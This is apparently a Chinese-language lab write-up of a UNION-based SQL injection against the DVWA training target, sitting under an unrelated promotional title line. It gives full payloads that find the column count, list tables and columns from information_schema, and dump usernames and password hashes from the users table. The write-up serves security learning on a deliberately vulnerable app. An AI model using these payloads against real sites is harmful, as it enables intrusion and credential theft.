网站建设推广东莞网络推广及优化
本次注入的是DVWA靶场的SQL injection
1.判断是字符型注入还是数字型注入，构造SQL语句
1 and 1=2
由此可以判断出为字符型注入
2.考虑闭合方式，先随便丢一个单引号试试看看报错提示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
根据报错提示可以看出是引号进行包括的值
3.判断输出的列数，使用order by函数与二分法
可以判断出列数为2
4.联合查询，尝试查看内容回显的地方
构造SQL语句 -1' union select 1,2 #
可以看到回显内容的地方是First name与Surname
查询出数据库 -1' union select 1,database() #
查询出数据表-1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema='dvwa' #
得到两个值去hex解码分别是 guestbook，users这两个也是DVWA数据库下面的所有表名，根据表的名字就可以判断出账号与密码存储在了users这个表里面，所以我们要对这个表进行查询，查询这个表里面的所有字段，开始构造SQL语句
-1' union select 1,group_concat(hex(column_name)) from information_schema.columns where table_schema='dvwa' and table_name='users' #
得到了表下面的所有字段内容
对这些内容分别进行解码，将要查询的字段提取出来，分别是user与password，再次构造SQL语句对这两个字段的内容进行查询
-1' union select 1,group_concat(user,'-',password) from dvwa.users #
成功注入出账号与密码。